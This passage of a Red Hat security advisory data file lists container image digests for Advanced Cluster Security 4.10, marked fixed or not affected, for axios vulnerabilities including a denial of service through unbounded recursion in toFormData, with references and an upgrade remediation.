"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "axios: Axios: Arbitrary HTTP header injection via prototype pollution"
},
{
"cve": "CVE-2026-42039",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-04-24T19:01:44.887156+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2461630"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios, a promise-based HTTP client for browsers and Node.js. This vulnerability occurs because the `toFormData` function recursively processes nested objects without a depth limit. A remote attacker can exploit this by sending deeply nested request data, which causes the Node.js process to crash due to a RangeError, leading to a potential Denial of Service (DoS) if the process crashes.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42039"
},
{
"category": "external",
"summary": "RHBZ#2461630",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461630"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42039",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42039"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9",
"url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9"
}
],
"release_date": "2026-04-24T18:01:30.775000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
